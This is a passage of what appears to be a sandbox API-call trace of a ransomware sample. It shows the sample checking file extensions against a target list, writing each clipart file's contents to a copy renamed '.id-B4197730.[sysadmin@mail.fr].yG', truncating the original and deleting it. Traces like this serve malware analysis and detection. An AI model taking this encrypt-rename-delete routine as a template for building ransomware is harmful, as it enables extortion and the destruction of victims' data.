	[0175.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0175.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0175.848] lstrlenW (lpString=".doc") returned 4
	[0175.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.848] lstrlenW (lpString=".docx") returned 5
	[0175.848] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0175.848] lstrlenW (lpString=".pdf") returned 4
	[0175.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.848] lstrlenW (lpString=".xls") returned 4
	[0175.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.848] lstrlenW (lpString=".xlsx") returned 5
	[0175.848] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0175.848] lstrlenW (lpString=".ppt") returned 4
	[0175.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0175.848] lstrlenW (lpString=".zip") returned 4
	[0175.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.849] lstrlenW (lpString=".rar") returned 4
	[0175.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.849] lstrlenW (lpString=".bz2") returned 4
	[0175.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.849] lstrlenW (lpString=".7z") returned 3
	[0175.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0175.849] lstrlenW (lpString=".dbf") returned 4
	[0175.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0175.849] lstrlenW (lpString=".1cd") returned 4
	[0175.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0175.849] lstrlenW (lpString=".jpg") returned 4
	[0175.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.850] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=38237) returned 1
	[0175.850] CloseHandle (hObject=0x57c) returned 1
	[0175.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220
	[0175.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.871] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.871] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0175.872] GetLastError () returned 0x0
	[0175.872] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x955d, lpOverlapped=0x0) returned 1
	[0175.883] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x9560, lpOverlapped=0x0) returned 1
	[0175.884] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.885] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.885] SetEndOfFile (hFile=0x544) returned 1
	[0175.885] CloseHandle (hObject=0x544) returned 1
	[0175.885] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.885] SetEndOfFile (hFile=0x57c) returned 1
	[0175.889] CloseHandle (hObject=0x57c) returned 1
	[0175.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1
	[0175.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0175.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0175.891] lstrlenW (lpString=".doc") returned 4
	[0175.891] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0175.891] lstrlenW (lpString=".docx") returned 5
	[0175.891] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0175.891] lstrlenW (lpString=".pdf") returned 4
	[0175.891] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0175.891] lstrlenW (lpString=".xls") returned 4
	[0175.891] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0175.891] lstrlenW (lpString=".xlsx") returned 5
	[0175.891] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0175.891] lstrlenW (lpString=".ppt") returned 4
	[0175.891] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0175.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0175.891] lstrlenW (lpString=".zip") returned 4
	[0175.891] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.891] lstrlenW (lpString=".rar") returned 4
	[0175.891] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.891] lstrlenW (lpString=".bz2") returned 4
	[0175.891] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.891] lstrlenW (lpString=".7z") returned 3
	[0175.891] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0175.891] lstrlenW (lpString=".dbf") returned 4
	[0175.891] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0175.892] lstrlenW (lpString=".1cd") returned 4
	[0175.892] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0175.892] lstrlenW (lpString=".jpg") returned 4
	[0175.892] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.892] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=64802) returned 1
	[0175.892] CloseHandle (hObject=0x57c) returned 1
	[0175.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220
	[0175.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0175.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.893] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.893] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0175.894] GetLastError () returned 0x0
	[0175.894] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xfd22, lpOverlapped=0x0) returned 1
	[0175.927] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xfd30, lpOverlapped=0x0) returned 1
	[0175.929] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.929] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.929] SetEndOfFile (hFile=0x544) returned 1
	[0175.930] CloseHandle (hObject=0x544) returned 1
	[0175.930] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.930] SetEndOfFile (hFile=0x57c) returned 1
	[0175.949] CloseHandle (hObject=0x57c) returned 1
	[0175.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1
	[0176.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0176.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0176.332] lstrlenW (lpString=".doc") returned 4
	[0176.332] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0176.332] lstrlenW (lpString=".docx") returned 5
	[0176.332] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0176.332] lstrlenW (lpString=".pdf") returned 4
	[0176.332] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0176.332] lstrlenW (lpString=".xls") returned 4
	[0176.333] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0176.333] lstrlenW (lpString=".xlsx") returned 5
	[0176.333] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0176.333] lstrlenW (lpString=".ppt") returned 4
	[0176.333] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0176.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0176.333] lstrlenW (lpString=".zip") returned 4
	[0176.333] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0176.333] lstrlenW (lpString=".rar") returned 4
	[0176.333] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0176.333] lstrlenW (lpString=".bz2") returned 4
	[0176.333] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0176.333] lstrlenW (lpString=".7z") returned 3
	[0176.333] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0176.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0176.333] lstrlenW (lpString=".dbf") returned 4
	[0176.333] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0176.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0176.333] lstrlenW (lpString=".1cd") returned 4
	[0176.333] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0176.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0176.333] lstrlenW (lpString=".jpg") returned 4
	[0176.333] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0176.615] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=8494) returned 1
	[0176.615] CloseHandle (hObject=0x2cc) returned 1
	[0176.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220
	[0177.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0177.003] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.003] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.004] GetLastError () returned 0x0
	[0177.005] ReadFile (in: hFile=0x520, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x212e, lpOverlapped=0x0) returned 1
	[0177.038] WriteFile (in: hFile=0x54c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2130, lpOverlapped=0x0) returned 1
	[0177.039] ReadFile (in: hFile=0x520, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.039] WriteFile (in: hFile=0x54c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.039] SetEndOfFile (hFile=0x54c) returned 1
	[0177.040] CloseHandle (hObject=0x54c) returned 1
	[0177.040] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.040] SetEndOfFile (hFile=0x520) returned 1
	[0177.047] CloseHandle (hObject=0x520) returned 1
	[0177.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1
	[0177.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0177.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0177.049] lstrlenW (lpString=".doc") returned 4
	[0177.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.050] lstrlenW (lpString=".docx") returned 5
	[0177.050] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0177.050] lstrlenW (lpString=".pdf") returned 4
	[0177.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.050] lstrlenW (lpString=".xls") returned 4
	[0177.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.050] lstrlenW (lpString=".xlsx") returned 5
	[0177.050] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0177.050] lstrlenW (lpString=".ppt") returned 4
	[0177.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0177.050] lstrlenW (lpString=".zip") returned 4
	[0177.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.050] lstrlenW (lpString=".rar") returned 4
	[0177.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.050] lstrlenW (lpString=".bz2") returned 4
	[0177.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.050] lstrlenW (lpString=".7z") returned 3
	[0177.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0177.050] lstrlenW (lpString=".dbf") returned 4
	[0177.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0177.050] lstrlenW (lpString=".1cd") returned 4
	[0177.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0177.051] lstrlenW (lpString=".jpg") returned 4
	[0177.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.051] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=24844) returned 1
	[0177.052] CloseHandle (hObject=0x520) returned 1
	[0177.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220
	[0177.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0177.053] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.053] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.054] GetLastError () returned 0x0
	[0177.054] ReadFile (in: hFile=0x520, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x610c, lpOverlapped=0x0) returned 1
	[0177.065] WriteFile (in: hFile=0x54c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x6110, lpOverlapped=0x0) returned 1
	[0177.067] ReadFile (in: hFile=0x520, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.067] WriteFile (in: hFile=0x54c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.067] SetEndOfFile (hFile=0x54c) returned 1
	[0177.068] CloseHandle (hObject=0x54c) returned 1
	[0177.068] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.068] SetEndOfFile (hFile=0x520) returned 1
	[0177.071] CloseHandle (hObject=0x520) returned 1
	[0177.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1
	[0177.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0177.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0177.073] lstrlenW (lpString=".doc") returned 4
	[0177.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.073] lstrlenW (lpString=".docx") returned 5
	[0177.073] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0177.073] lstrlenW (lpString=".pdf") returned 4
	[0177.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.074] lstrlenW (lpString=".xls") returned 4
	[0177.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.074] lstrlenW (lpString=".xlsx") returned 5
	[0177.074] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0177.074] lstrlenW (lpString=".ppt") returned 4
	[0177.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0177.074] lstrlenW (lpString=".zip") returned 4
	[0177.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.074] lstrlenW (lpString=".rar") returned 4
	[0177.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.074] lstrlenW (lpString=".bz2") returned 4
	[0177.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.074] lstrlenW (lpString=".7z") returned 3
	[0177.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0177.074] lstrlenW (lpString=".dbf") returned 4
	[0177.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0177.074] lstrlenW (lpString=".1cd") returned 4
	[0177.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0177.074] lstrlenW (lpString=".jpg") returned 4
	[0177.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.079] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=14132) returned 1
	[0177.079] CloseHandle (hObject=0x42c) returned 1
